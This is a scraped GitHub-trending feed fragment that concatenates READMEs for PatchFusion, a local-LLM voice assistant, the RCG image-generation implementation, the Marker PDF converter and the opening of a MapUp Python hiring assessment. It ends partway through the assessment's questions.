<p>If you find our work useful for your research, please consider citing the paper</p>
<pre><code>@article{li2023patchfusion,
title={PatchFusion: An End-to-End Tile-Based Framework for High-Resolution Monocular Metric Depth Estimation},
author={Zhenyu Li and Shariq Farooq Bhat and Peter Wonka},
year={2023},
eprint={2312.02284},
archivePrefix={arXiv},
primaryClass={cs.CV}}
</code></pre>
+ linyiLYi/voice-assistant
+ 2023-12-13T01:42:12Z
+ tag:github.com,2023-12-13:/linyiLYi/voice-assistant
+
+ <p>一个简单的 Python 脚本,可以通过语音与本地大语言模型进行对话。</p><hr><h1>语音助手</h1>
<p>一个简单的 Python 脚本,可以通过语音与本地大语言模型进行对话。</p>
<h3>macOS 安装指南</h3>
<p>以下为 macOS 的安装过程,Windows 与 Linux 可以使用 speech_recognition 与 pyttsx3 来替代下文中的 macOS 的 hear 与 say 指令。</p>
<h4>创建环境</h4>
<pre><code>conda create -n VoiceAI python=3.11
conda activate VoiceAI
pip install langchain
CMAKE_ARGS="-DLLAMA_METAL=on" FORCE_CMAKE=1 pip install llama-cpp-python
# 安装音频处理工具
brew install portaudio
pip install pyaudio
</code></pre>
<h4>hear 语音识别模块</h4>
<p>使用 <a href="https://github.com/sveinbjornt/hear">hear</a> 指令可以直接调用 macOS 的语音识别模块。注意要开启电脑设置里的键盘听写选项:设置 -> 键盘 -> 听写(开启开关)。</p>
<h4>模型文件</h4>
<p>模型文件存放于 <code>models/</code> 文件夹下,在脚本中通过变量 <code>MODEL_PATH</code> 指定。 推荐下载 TheBloke 的 gguf 格式模型:</p>
<ul>
<li><a href="https://huggingface.co/TheBloke/Yi-34B-Chat-GGUF/blob/main/yi-34b-chat.Q8_0.gguf">Yi-34B-Chat-GGUF</a></li>
<li><a href="https://huggingface.co/XeIaso/yi-chat-6B-GGUF/tree/main">Yi-6B-Chat-GGUF,适用小显存平台,尚未测试</a></li>
</ul>
- LTH14/rcg
- 2023-12-12T01:57:32Z
- tag:github.com,2023-12-12:/LTH14/rcg
-
- <p>PyTorch implementation of RCG https://arxiv.org/abs/2312.03701</p><hr><h1>RCG PyTorch Implementation</h1>
<p align="center"> <img src="https://raw.githubusercontent.com/LTH14/rcg/main/figures/method.png" width="420"> </p>
<p>This is a PyTorch/GPU implementation of the paper <a href="https://arxiv.org/abs/2312.03701">Self-conditioned Image Generation via Generating Representations</a>:</p>
<pre><code>@Article{RCG2023,
author = {Tianhong Li and Dina Katabi and Kaiming He},
journal = {arXiv:2312.03701},
title = {Self-conditioned Image Generation via Generating Representations},
year = {2023},
}
</code></pre>
<p>RCG is a self-conditioned image generation framework that achieves SOTA class-unconditional image generation performance on ImageNet-1K, bridging the long-standing performance gap between class-unconditional and class-conditional image generation.</p>
<p align="center"> <img src="https://raw.githubusercontent.com/LTH14/rcg/main/figures/result.png" width="560"> </p>
<h2>Preparation</h2>
<h3>Dataset</h3>
<p>Download <a href="http://image-net.org/download">ImageNet</a> dataset, and place it in your <code>IMAGENET_DIR</code>. Prepare the ImageNet validation set for FID evaluation:</p>
<pre><code>python prepare_imgnet_val.py --data_path ${IMAGENET_DIR} --output_dir imagenet-val
</code></pre>
<h3>Installation</h3>
<p>A suitable <a href="https://conda.io/">conda</a> environment named <code>rcg</code> can be created and activated with:</p>
<pre><code>conda env create -f environment.yaml
conda activate rcg
</code></pre>
<p>Download the code</p>
<pre><code>git clone https://github.com/LTH14/rcg.git
cd rcg
</code></pre>
<p>Use <a href="https://drive.google.com/file/d/13S_unB87n6KKuuMdyMnyExW0G1kplTbP/view?usp=sharing">this link</a> to download the pre-trained VQGAN tokenzier as <code>vqgan_jax_strongaug.ckpt</code>.</p>
<p>Use <a href="https://dl.fbaipublicfiles.com/moco-v3/vit-b-300ep/vit-b-300ep.pth.tar">this link</a> to download the pre-trained moco v3 ViT-B encoder and name it as <code>pretrained_enc_ckpts/mocov3/vitb.pth.tar</code>.</p>
<p>Use <a href="https://drive.google.com/file/d/1Foa2-FqhwIFYjcAAbY9sXyO-1Vwwx-_9/view?usp=sharing">this link</a> to download the pre-trained moco v3 ViT-L encoder and name it as <code>pretrained_enc_ckpts/mocov3/vitl.pth.tar</code>.</p>
<h2>Usage</h2>
<h3>RDM</h3>
<p>To train the Moco v3 ViT-B representation diffusion model using 4 V100 GPUs:</p>
<pre><code>python -m torch.distributed.launch --nproc_per_node=4 --nnodes=1 --node_rank=0 \
main_rdm.py \
--config config/rdm/mocov3vitb_simplemlp_l12_w1536.yaml \
--batch_size 128 --input_size 256 \
--epochs 200 \
--blr 1e-6 --weight_decay 0.01 \
--output_dir ${OUTPUT_DIR} \
--data_path ${IMAGENET_DIR} \
--dist_url tcp://${MASTER_SERVER_ADDRESS}:2214
</code></pre>
<p>To continue a previously interrupted training session, set <code>--resume</code> to the <code>OUTPUT_DIR</code> where <code>checkpoint-last.pth</code> is stored.</p>
<p>The following table provides the pre-trained weights of the Moco v3 ViT-B/ViT-L RDM used in the paper:</p>
<table>
<tbody>
<!-- START TABLE -->
<!-- TABLE HEADER -->
<tr>
<th valign="bottom"></th>
<th valign="bottom">Moco v3 ViT-B</th>
<th valign="bottom">Moco v3 ViT-L</th>
<!-- TABLE BODY -->
</tr>
<tr>
<td align="left">Class-unconditional RDM</td>
<td align="center"><a href="https://drive.google.com/file/d/1gdsvzKLmmBWuF4Ymy4rQ_T1t6dDHnTEA/view?usp=sharing">Google Drive</a> / <a href="https://raw.githubusercontent.com/LTH14/rcg/main/config/rdm/mocov3vitb_simplemlp_l12_w1536.yaml">config</a></td>
<td align="center"><a href="https://drive.google.com/file/d/1E5E3i9LRpSy0tVF7NA0bGXEh4CrjHAXz/view?usp=sharing">Google Drive</a> / <a href="https://raw.githubusercontent.com/LTH14/rcg/main/config/rdm/mocov3vitl_simplemlp_l12_w1536.yaml">config</a></td>
</tr>
<tr>
<td align="left">Class-conditional RDM</td>
<td align="center"><a href="https://drive.google.com/file/d/1roanmVfg-UaddVehstQErvByqi0OYs2R/view?usp=sharing">Google Drive</a> / <a href="https://raw.githubusercontent.com/LTH14/rcg/main/config/rdm/mocov3vitb_simplemlp_l12_w1536_classcond.yaml">config</a></td>
<td align="center"><a href="https://drive.google.com/file/d/1lZmXOcdHE97Qmn2azNAo2tNVX7dtTAkY/view?usp=sharing">Google Drive</a> / <a href="https://raw.githubusercontent.com/LTH14/rcg/main/config/rdm/mocov3vitl_simplemlp_l12_w1536_classcond.yaml">config</a></td>
</tr>
</tbody>
</table>
<h3>Pixel Generator: MAGE</h3>
<p>To train a MAGE-B conditioned on Moco v3 ViT-B representations, using 64 V100 GPUs for 200 epochs:</p>
<pre><code>python -m torch.distributed.launch --nproc_per_node=8 --nnodes=8 --node_rank=0 \
main_mage.py \
--pretrained_enc_arch mocov3_vit_base \
--pretrained_enc_path pretrained_enc_ckpts/mocov3/vitb.pth.tar --rep_drop_prob 0.1 \
--use_rep --rep_dim 256 --pretrained_enc_withproj --pretrained_enc_proj_dim 256 \
--pretrained_rdm_cfg ${RDM_CFG_PATH} --pretrained_rdm_ckpt ${RDM_CKPT_PATH} \
--rdm_steps 250 --eta 1.0 --temp 6.0 --num_iter 20 --num_images 50000 --cfg 0.0 \
--batch_size 64 --input_size 256 \
--model mage_vit_base_patch16 \
--mask_ratio_min 0.5 --mask_ratio_max 1.0 --mask_ratio_mu 0.75 --mask_ratio_std 0.25 \
--epochs 200 \
--warmup_epochs 10 \
--blr 1.5e-4 --weight_decay 0.05 \
--output_dir ${OUTPUT_DIR} \
--data_path ${IMAGENET_DIR} \
--dist_url tcp://${MASTER_SERVER_ADDRESS}:2214
</code></pre>
<p>To train a MAGE-L conditioned on Moco v3 ViT-L representations, change <code>RDM_CFG_PATH</code> and <code>RDM_CKPT_PATH</code> for Moco v3 ViT-L RDM, as well as the following arguments:</p>
<pre><code>--pretrained_enc_arch mocov3_vit_large --pretrained_enc_path pretrained_enc_ckpts/mocov3/vitl.pth.tar --temp 11.0 --model mage_vit_large_patch16
</code></pre>
<p><strong>Resume</strong>: set <code>--resume</code> to the <code>OUTPUT_DIR</code> where <code>checkpoint-last.pth</code> is stored.</p>
<p><strong>Evaluation</strong>: set <code>--resume</code> to the pre-trained MAGE checkpoint and include the <code>--evaluate</code> flag in the above script.</p>
<p><strong>Pre-trained Models</strong>:</p>
<table>
<tbody>
<!-- START TABLE -->
<!-- TABLE HEADER -->
<tr>
<th valign="bottom"></th>
<th valign="bottom">Rep. Cond. MAGE-B</th>
<th valign="bottom">Rep. Cond. MAGE-L</th>
<!-- TABLE BODY -->
</tr>
<tr>
<td align="left">Checkpoint</td>
<td align="center"><a href="https://drive.google.com/file/d/1iZY0ujWp5GVochTLj0U6j4HgVTOyWPUI/view?usp=sharing">Google Drive</a></td>
<td align="center"><a href="https://drive.google.com/file/d/1nQh9xCqjQCd78zKwn2L9eLfLyVosb1hp/view?usp=sharing">Google Drive</a></td>
</tr>
<tr>
<td align="left">Class-unconditional Generation (w/o CFG) </td>
<td align="center">FID=4.18, IS=177.8</td>
<td align="center">FID=3.56, IS=186.9</td>
</tr>
<tr>
<td align="left">Class-unconditional Generation (w/ CFG) </td>
<td align="center">FID=4.31, IS=214.9 (cfg=1.0)</td>
<td align="center">FID=3.31, IS=253.4 (cfg=6.0)</td>
</tr>
<tr>
<td align="left">Class-conditional Generation (w/o CFG) </td>
<td align="center">FID=4.09, IS=194.9</td>
<td align="center">FID=3.49, IS=215.5</td>
</tr>
<tr>
<td align="left">Class-conditional Generation (w/ CFG) </td>
<td align="center">FID=4.64, IS=242.6 (cfg=1.0)</td>
<td align="center">FID=3.90, IS=300.7 (cfg=6.0)</td>
</tr>
</tbody>
</table>
<p><strong>Visualization</strong>: use <code>viz_rcg.ipynb</code> to visualize generation results.</p>
<p>Class-unconditional generation examples:</p>
<p align="center"> <img src="https://raw.githubusercontent.com/LTH14/rcg/main/figures/qualitative-uncond.jpg" width="800"> </p>
<p>Class-conditional generation examples:</p>
<p align="center"> <img src="https://raw.githubusercontent.com/LTH14/rcg/main/figures/qualitative-clscond.jpg" width="800"> </p>
<h3>Pixel Generator: ADM</h3>
<p>To train an ADM conditioned on Moco v3 ViT-B representations, using 128 V100 GPUs for 100 epochs:</p>
<pre><code>python -m torch.distributed.launch --nproc_per_node=8 --nnodes=16 --node_rank=0 \
main_adm.py \
--rep_cond --rep_dim 256 \
--pretrained_enc_arch mocov3_vit_base \
--pretrained_enc_path pretrained_enc_ckpts/mocov3/vitb.pth.tar \
--pretrained_rdm_cfg ${RDM_CFG_PATH} \
--pretrained_rdm_ckpt ${RDM_CKPT_PATH} \
--batch_size 2 --image_size 256 \
--epochs 100 \
--lr 1e-4 --weight_decay 0.0 \
--attention_resolutions 32,16,8 --diffusion_steps 1000 \
--learn_sigma --noise_schedule linear \
--num_channels 256 --num_head_channels 64 --num_res_blocks 2 --resblock_updown \
--use_scale_shift_norm \
--gen_timestep_respacing ddim25 --use_ddim \
--output_dir ${OUTPUT_DIR} \
--data_path ${IMAGENET_DIR} \
--dist_url tcp://${MASTER_SERVER_ADDRESS}:2214
</code></pre>
<p><strong>Resume</strong>: set <code>--resume</code> to the <code>OUTPUT_DIR</code> where <code>checkpoint-last.pth</code> is stored.</p>
<p><strong>Evaluation</strong>: set <code>--resume</code> to the pre-trained ADM checkpoint and include the <code>--evaluate</code> flag in the above script. Set <code>--gen_timestep_respacing 250</code> and disable <code>--use_ddim</code> for better generation performance.</p>
<p><strong>Pre-trained ADM</strong> conditioned on Moco v3 ViT-B representations can be downloaded <a href="https://drive.google.com/file/d/1aEY8L3BB7QxtFOP-DUB0TGShq9L4gBIP/view?usp=sharing">here</a> (FID=7.21, IS=108.9).</p>
<h3>Pixel Generator: LDM</h3>
<p>Use <a href="https://ommer-lab.com/files/latent-diffusion/vq-f8.zip">this link</a> to download the tokenizer and name it as <code>vqgan-ckpts/ldm_vqgan_f8_16384/checkpoints/last.ckpt</code>.</p>
<p>To train an LDM-8 conditioned on Moco v3 ViT-B representations, using 64 V100 GPUs for 40 epochs:</p>
<pre><code>python -m torch.distributed.launch --nproc_per_node=8 --nnodes=8 --node_rank=0 \
main_ldm.py \
--config config/ldm/cin-ldm-vq-f8-repcond.yaml \
--batch_size 4 \
--epochs 40 \
--blr 2.5e-7 --weight_decay 0.01 \
--output_dir ${OUTPUT_DIR} \
--data_path ${IMAGENET_DIR} \
--dist_url tcp://${MASTER_SERVER_ADDRESS}:2214
</code></pre>
<p><strong>Resume</strong>: set <code>--resume</code> to the <code>OUTPUT_DIR</code> where <code>checkpoint-last.pth</code> is stored.</p>
<p><strong>Evaluation</strong>: set <code>--resume</code> to the pre-trained LDM checkpoint and include the <code>--evaluate</code> flag in the above script.</p>
<p><strong>Pre-trained LDM</strong> conditioned on Moco v3 ViT-B representations can be downloaded <a href="https://drive.google.com/file/d/1-qNGz5biWs9KwsjAMyR_GyciaWmF9axW/view?usp=sharing">here</a> (FID=9.08, IS=101.9).</p>
<h2>Contact</h2>
<p>If you have any questions, feel free to contact me through email (<a href="mailto:tianhong@mit.edu">tianhong@mit.edu</a>). Enjoy!</p>
+ VikParuchuri/marker
+ 2023-12-13T01:42:12Z
+ tag:github.com,2023-12-13:/VikParuchuri/marker
+
+ <p>Convert PDF to markdown quickly with high accuracy</p><hr><h1>Marker</h1>
<p>Marker converts PDF, EPUB, and MOBI to markdown. It's 10x faster than nougat, more accurate on most documents, and has low hallucination risk.</p>
<ul>
<li>Support for a range of PDF documents (optimized for books and scientific papers)</li>
<li>Removes headers/footers/other artifacts</li>
<li>Converts most equations to latex</li>
<li>Formats code blocks and tables</li>
<li>Support for multiple languages (although most testing is done in English). See <code>settings.py</code> for a language list.</li>
<li>Works on GPU, CPU, or MPS</li>
</ul>
<h2>How it works</h2>
<p>Marker is a pipeline of deep learning models:</p>
<ul>
<li>Extract text, OCR if necessary (heuristics, tesseract)</li>
<li>Detect page layout (<a href="https://huggingface.co/vikp/layout_segmenter">layout segmenter</a>, <a href="https://huggingface.co/vikp/column_detector">column detector</a>)</li>
<li>Clean and format each block (heuristics, <a href="https://huggingface.co/facebook/nougat-base">nougat</a>)</li>
<li>Combine blocks and postprocess complete text (heuristics, <a href="https://huggingface.co/vikp/pdf_postprocessor_t5">pdf_postprocessor</a>)</li>
</ul>
<p>Relying on autoregressive forward passes to generate text is slow and prone to hallucination/repetition. From the nougat paper: <code>We observed [repetition] in 1.5% of pages in the test set, but the frequency increases for out-of-domain documents.</code> In my anecdotal testing, repetitions happen on 5%+ of out-of-domain (non-arXiv) pages.</p>
<p>Nougat is an amazing model, but I wanted a faster and more general purpose solution. Marker is 10x faster and has low hallucination risk because it only passes equation blocks through an LLM forward pass.</p>
<h2>Examples</h2>
<table>
<thead>
<tr>
<th>PDF</th>
<th>Type</th>
<th>Marker</th>
<th>Nougat</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://greenteapress.com/thinkpython/thinkpython.pdf">Think Python</a></td>
<td>Textbook</td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/marker/thinkpython.md">View</a></td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/nougat/thinkpython.md">View</a></td>
</tr>
<tr>
<td><a href="https://greenteapress.com/thinkos/thinkos.pdf">Think OS</a></td>
<td>Textbook</td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/marker/thinkos.md">View</a></td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/nougat/thinkos.md">View</a></td>
</tr>
<tr>
<td><a href="https://arxiv.org/pdf/2101.03961.pdf">Switch Transformers</a></td>
<td>arXiv paper</td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/marker/switch_transformers.md">View</a></td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/nougat/switch_transformers.md">View</a></td>
</tr>
<tr>
<td><a href="https://arxiv.org/pdf/1804.07821.pdf">Multi-column CNN</a></td>
<td>arXiv paper</td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/marker/multicolcnn.md">View</a></td>
<td><a href="https://github.com/VikParuchuri/marker/raw/master/data/examples/nougat/multicolcnn.md">View</a></td>
</tr>
</tbody>
</table>
<h2>Performance</h2>
<p><img src="https://raw.githubusercontent.com/VikParuchuri/marker/master/data/images/overall.png" alt="Benchmark overall"></p>
<p>The above results are with marker and nougat setup so they each take ~3GB of VRAM on an A6000.</p>
<p>See <a href="https://raw.githubusercontent.com/VikParuchuri/marker/master/#benchmarks">below</a> for detailed speed and accuracy benchmarks, and instructions on how to run your own benchmarks.</p>
<h1>Limitations</h1>
<p>PDF is a tricky format, so marker will not always work perfectly. Here are some known limitations that are on the roadmap to address:</p>
<ul>
<li>Marker will convert fewer equations to latex than nougat. This is because it has to first detect equations, then convert them without hallucation.</li>
<li>Whitespace and indentations are not always respected.</li>
<li>Not all lines/spans will be joined properly.</li>
<li>Only languages similar to English (Spanish, French, German, Russian, etc) are supported. Languages with different character sets (Chinese, Japanese, Korean, etc) are not.</li>
<li>This works best on digital PDFs that won't require a lot of OCR. It's optimized for speed, and limited OCR is used to fix errors.</li>
</ul>
<h1>Installation</h1>
<p>This has been tested on Mac and Linux (Ubuntu and Debian). You'll need python 3.9+ and <a href="https://python-poetry.org/docs/#installing-with-the-official-installer">poetry</a>.</p>
<p>First, clone the repo:</p>
<ul>
<li><code>git clone https://github.com/VikParuchuri/marker.git</code></li>
<li><code>cd marker</code></li>
</ul>
<h2>Linux</h2>
<ul>
<li>Install system requirements
<ul>
<li>Optional: Install tesseract 5 by following <a href="https://notesalexp.org/tesseract-ocr/html/">these instructions</a> or running <code>scripts/install/tesseract_5_install.sh</code>.</li>
<li>Install ghostscript > 9.55 by following <a href="https://ghostscript.readthedocs.io/en/latest/Install.html">these instructions</a> or running <code>scripts/install/ghostscript_install.sh</code>.</li>
<li>Install other requirements with <code>cat scripts/install/apt-requirements.txt | xargs sudo apt-get install -y</code></li>
</ul> </li>
<li>Set the tesseract data folder path
<ul>
<li>Find the tesseract data folder <code>tessdata</code> with <code>find / -name tessdata</code>. Make sure to use the one corresponding to the latest tesseract version if you have multiple.</li>
<li>Create a <code>local.env</code> file in the root <code>marker</code> folder with <code>TESSDATA_PREFIX=/path/to/tessdata</code> inside it</li>
</ul> </li>
<li>Install python requirements
<ul>
<li><code>poetry install</code></li>
<li><code>poetry shell</code> to activate your poetry venv</li>
</ul> </li>
<li>Update pytorch since poetry doesn't play nicely with it
<ul>
<li>GPU only: run <code>pip install torch</code> to install other torch dependencies.</li>
<li>CPU only: Uninstall torch with <code>poetry remove torch</code>, then follow the <a href="https://pytorch.org/get-started/locally/">CPU install</a> instructions.</li>
</ul> </li>
</ul>
<h2>Mac</h2>
<ul>
<li>Install system requirements from <code>scripts/install/brew-requirements.txt</code></li>
<li>Set the tesseract data folder path
<ul>
<li>Find the tesseract data folder <code>tessdata</code> with <code>brew list tesseract</code></li>
<li>Create a <code>local.env</code> file in the root <code>marker</code> folder with <code>TESSDATA_PREFIX=/path/to/tessdata</code> inside it</li>
</ul> </li>
<li>Install python requirements
<ul>
<li><code>poetry install</code></li>
<li><code>poetry shell</code> to activate your poetry venv</li>
</ul> </li>
</ul>
<h1>Usage</h1>
<p>First, some configuration:</p>
<ul>
<li>Set your torch device in the <code>local.env</code> file. For example, <code>TORCH_DEVICE=cuda</code> or <code>TORCH_DEVICE=mps</code>. <code>cpu</code> is the default.
<ul>
<li>If using GPU, set <code>INFERENCE_RAM</code> to your GPU VRAM (per GPU). For example, if you have 16 GB of VRAM, set <code>INFERENCE_RAM=16</code>.</li>
<li>Depending on your document types, marker's average memory usage per task can vary slightly. You can configure <code>VRAM_PER_TASK</code> to adjust this if you notice tasks failing with GPU out of memory errors.</li>
</ul> </li>
<li>Inspect the other settings in <code>marker/settings.py</code>. You can override any settings in the <code>local.env</code> file, or by setting environment variables.
<ul>
<li>By default, the final editor model is off. Turn it on with <code>ENABLE_EDITOR_MODEL</code>.</li>
<li>By default, marker will use ocrmypdf for OCR, which is slower than base tesseract, but higher quality. You can change this with the <code>OCR_ENGINE</code> setting.</li>
</ul> </li>
</ul>
<h2>Convert a single file</h2>
<p>Run <code>convert_single.py</code>, like this:</p>
<pre><code>python convert_single.py /path/to/file.pdf /path/to/output.md --parallel_factor 2 --max_pages 10
</code></pre>
<ul>
<li><code>--parallel_factor</code> is how much to increase batch size and parallel OCR workers by. Higher numbers will take more VRAM and CPU, but process faster. Set to 1 by default.</li>
<li><code>--max_pages</code> is the maximum number of pages to process. Omit this to convert the entire document.</li>
</ul>
<p>Make sure the <code>DEFAULT_LANG</code> setting is set appropriately for your document.</p>
<h2>Convert multiple files</h2>
<p>Run <code>convert.py</code>, like this:</p>
<pre><code>python convert.py /path/to/input/folder /path/to/output/folder --workers 10 --max 10 --metadata_file /path/to/metadata.json --min_length 10000
</code></pre>
<ul>
<li><code>--workers</code> is the number of pdfs to convert at once. This is set to 1 by default, but you can increase it to increase throughput, at the cost of more CPU/GPU usage. Parallelism will not increase beyond <code>INFERENCE_RAM / VRAM_PER_TASK</code> if you're using GPU.</li>
<li><code>--max</code> is the maximum number of pdfs to convert. Omit this to convert all pdfs in the folder.</li>
<li><code>--metadata_file</code> is an optional path to a json file with metadata about the pdfs. If you provide it, it will be used to set the language for each pdf. If not, <code>DEFAULT_LANG</code> will be used. The format is:</li>
<li><code>--min_length</code> is the minimum number of characters that need to be extracted from a pdf before it will be considered for processing. If you're processing a lot of pdfs, I recommend setting this to avoid OCRing pdfs that are mostly images. (slows everything down)</li>
</ul>
<pre><code>{
"pdf1.pdf": {"language": "English"},
"pdf2.pdf": {"language": "Spanish"},
...
}
</code></pre>
<h2>Convert multiple files on multiple GPUs</h2>
<p>Run <code>chunk_convert.sh</code>, like this:</p>
<pre><code>MIN_LENGTH=10000 METADATA_FILE=../pdf_meta.json NUM_DEVICES=4 NUM_WORKERS=15 bash chunk_convert.sh ../pdf_in ../md_out
</code></pre>
<ul>
<li><code>METADATA_FILE</code> is an optional path to a json file with metadata about the pdfs. See above for the format.</li>
<li><code>NUM_DEVICES</code> is the number of GPUs to use. Should be <code>2</code> or greater.</li>
<li><code>NUM_WORKERS</code> is the number of parallel processes to run on each GPU. Per-GPU parallelism will not increase beyond <code>INFERENCE_RAM / VRAM_PER_TASK</code>.</li>
<li><code>MIN_LENGTH</code> is the minimum number of characters that need to be extracted from a pdf before it will be considered for processing. If you're processing a lot of pdfs, I recommend setting this to avoid OCRing pdfs that are mostly images. (slows everything down)</li>
</ul>
<h1>Benchmarks</h1>
<p>Benchmarking PDF extraction quality is hard. I've created a test set by finding books and scientific papers that have a pdf version and a latex source. I convert the latex to text, and compare the reference to the output of text extraction methods.</p>
<p>Benchmarks show that marker is 10x faster than nougat, and more accurate outside arXiv (nougat was trained on arXiv data). We show naive text extraction (pulling text out of the pdf with no processing) for comparison.</p>
<p><strong>Speed</strong></p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Average Score</th>
<th>Time per page</th>
<th>Time per document</th>
</tr>
</thead>
<tbody>
<tr>
<td>naive</td>
<td>0.350727</td>
<td>0.00152378</td>
<td>0.326524</td>
</tr>
<tr>
<td>marker</td>
<td>0.641062</td>
<td>0.360622</td>
<td>77.2762</td>
</tr>
<tr>
<td>nougat</td>
<td>0.629211</td>
<td>3.77259</td>
<td>808.413</td>
</tr>
</tbody>
</table>
<p><strong>Accuracy</strong></p>
<p>First 3 are non-arXiv books, last 3 are arXiv papers.</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>switch_trans.pdf</th>
<th>crowd.pdf</th>
<th>multicolcnn.pdf</th>
<th>thinkos.pdf</th>
<th>thinkdsp.pdf</th>
<th>thinkpython.pdf</th>
</tr>
</thead>
<tbody>
<tr>
<td>naive</td>
<td>0.244114</td>
<td>0.140669</td>
<td>0.0868221</td>
<td>0.366856</td>
<td>0.412521</td>
<td>0.468281</td>
</tr>
<tr>
<td>marker</td>
<td>0.482091</td>
<td>0.466882</td>
<td>0.537062</td>
<td>0.754347</td>
<td>0.78825</td>
<td>0.779536</td>
</tr>
<tr>
<td>nougat</td>
<td>0.696458</td>
<td>0.552337</td>
<td>0.735099</td>
<td>0.655002</td>
<td>0.645704</td>
<td>0.650282</td>
</tr>
</tbody>
</table>
<p>Peak GPU memory usage during the benchmark is <code>3.3GB</code> for nougat, and <code>3.1GB</code> for marker. Benchmarks were run on an A6000.</p>
<p><strong>Throughput</strong></p>
<p>Marker takes about 2GB of VRAM on average per task, so you can convert 24 documents in parallel on an A6000.</p>
<p><img src="https://raw.githubusercontent.com/VikParuchuri/marker/master/data/images/per_doc.png" alt="Benchmark results"></p>
<h2>Running your own benchmarks</h2>
<p>You can benchmark the performance of marker on your machine. First, download the benchmark data <a href="https://drive.google.com/file/d/1WiN4K2-jQfwyQMe4wSSurbpz3hxo2fG9/view?usp=drive_link">here</a> and unzip.</p>
<p>Then run <code>benchmark.py</code> like this:</p>
<pre><code>python benchmark.py data/pdfs data/references report.json --nougat
</code></pre>
<p>This will benchmark marker against other text extraction methods. It sets up batch sizes for nougat and marker to use a similar amount of GPU RAM for each.</p>
<p>Omit <code>--nougat</code> to exclude nougat from the benchmark. I don't recommend running nougat on CPU, since it is very slow.</p>
<h1>Commercial usage</h1>
<p>Due to the licensing of the underlying models like layoutlmv3 and nougat, this is only suitable for noncommercial usage.</p>
<p>I'm building a version that can be used commercially, by stripping out the dependencies below. If you would like to get early access, email me at <a href="mailto:marker@vikas.sh">marker@vikas.sh</a>.</p>
<p>Here are the non-commercial/restrictive dependencies:</p>
<ul>
<li>LayoutLMv3: CC BY-NC-SA 4.0 . <a href="https://huggingface.co/microsoft/layoutlmv3-base">Source</a></li>
<li>Nougat: CC-BY-NC . <a href="https://github.com/facebookresearch/nougat">Source</a></li>
<li>PyMuPDF - GPL . <a href="https://pymupdf.readthedocs.io/en/latest/about.html#license-and-copyright">Source</a></li>
</ul>
<p>Other dependencies/datasets are openly licensed (doclaynet, byt5), or used in a way that is compatible with commercial usage (ghostscript).</p>
<h1>Thanks</h1>
<p>This work would not have been possible without amazing open source models and datasets, including (but not limited to):</p>
<ul>
<li>Nougat from Meta</li>
<li>Layoutlmv3 from Microsoft</li>
<li>DocLayNet from IBM</li>
<li>ByT5 from Google</li>
</ul>
<p>Thank you to the authors of these models and datasets for making them available to the community!</p>
- mapup/MapUp-Data-Assessment-F
- 2023-12-12T01:57:32Z
- tag:github.com,2023-12-12:/mapup/MapUp-Data-Assessment-F
-
- <p></p><hr><h1>MapUp - Python Assessment</h1>
<h2>Overview</h2>
<p>This assessment is designed to evaluate your proficiency in Python programming, data manipulation, and analysis, as well as your ability to work with Excel. Below, you'll find details on each component of the assessment and the tasks you should complete. Best of luck!</p>
<h2>Important Points to Note:</h2>
<ul>
<li>The assessment will be tested using our internal set of test cases. Scripts must be developed in accordance with the template shared. Please use the following template to create your scripts:
<ul>
<li>📂 templates
<ul>
<li>📄 python_task_1.py</li>
<li>📄 python_task_2.py</li>
</ul> </li>
</ul> </li>
<li>We've clearly outlined the interfaces of our functions, specifying the input and output data types with distinct signatures.</li>
<li>Any deviation especially in naming conventions and providing arguments will impact the correct assessment of your work</li>
</ul>
<h2>Submission structure</h2>
<p>There should be a folder named <code>submissions</code> in the root of your repository. This folder should contain the following:</p>
<ul>
<li>📂 your_cloned_repo
<ul>
<li>📂 submissions
<ul>
<li>📄 python_task_1.py</li>
<li>📄 python_task_2.py</li>
<li>📄 excel_assessment.xlsm</li>
</ul> </li>
<li>📂 templates</li>
<li>📂 datasets</li>
</ul> </li>
</ul>
<h2>Result Submission:</h2>
<ul>
<li>Data that you need to work with is in the folder <code>datasets</code>. Store your process outputs in the structure mentioned below</li>
<li>Clone the provided GitHub repository.</li>
<li>Add the following members as collaborators to your repo
<ul>
<li><code>venkateshn@mapup.ai</code></li>
<li><code>namanjeetsingh@mapup.ai</code></li>
<li><code>saranshj@mapup.ai</code></li>
<li><code>varuna@mapup.ai</code></li>
</ul> </li>
<li>Submit the link to your repository via the provided Google Form for evaluation.</li>
</ul>
<h2>MapUp - Excel Assessment</h2>
<p>You have to submit an excel assessment along with your python task. This evaluation tests your proficiency in Conditional Formatting, Excel Formulae, and Data Manipulation</p>
<h1>Python Task 1</h1>
<h2>Question 1: Car Matrix Generation</h2>
<p>Under the function named <code>generate_car_matrix</code> write a logic that takes the <code>dataset-1.csv</code> as a DataFrame. Return a new DataFrame that follows the following rules:</p>
<ul>
<li>values from <code>id_2</code> as columns</li>
<li>values from <code>id_1</code> as index</li>
<li>dataframe should have values from <code>car</code> column</li>
<li>diagonal values should be 0.</li>
</ul>
<p>Sample result dataframe:<br> <img src="https://raw.githubusercontent.com/mapup/MapUp-Data-Assessment-F/main/readme_images/task1-q1.png" alt="Task 1 Question 1"></p>
<h2>Question 2: Car Type Count Calculation</h2>
<p>Create a Python function named <code>get_type_count</code> that takes the <code>dataset-1.csv</code> as a DataFrame. Add a new categorical column <code>car_type</code> based on values of the column <code>car</code>:</p>
<ul>
<li><code>low</code> for values less than or equal to 15,</li>
<li><code>medium</code> for values greater than 15 and less than or equal to 25,</li>
<li><code>high</code> for values greater than 25.</li>
</ul>
<p>Calculate the count of occurrences for each <code>car_type</code> category and return the result as a dictionary. Sort the dictionary alphabetically based on keys.</p>
<h2>Question 3: Bus Count Index Retrieval</h2>
<p>Create a Python function named <code>get_bus_indexes</code> that takes the <code>dataset-1.csv</code> as a DataFrame. The function should identify and return the indices as a list (sorted in ascending order) where the <code>bus</code> values are greater than twice the mean value of the <code>bus</code> column in the DataFrame.</p>
<h2>Question 4: Route Filtering</h2>
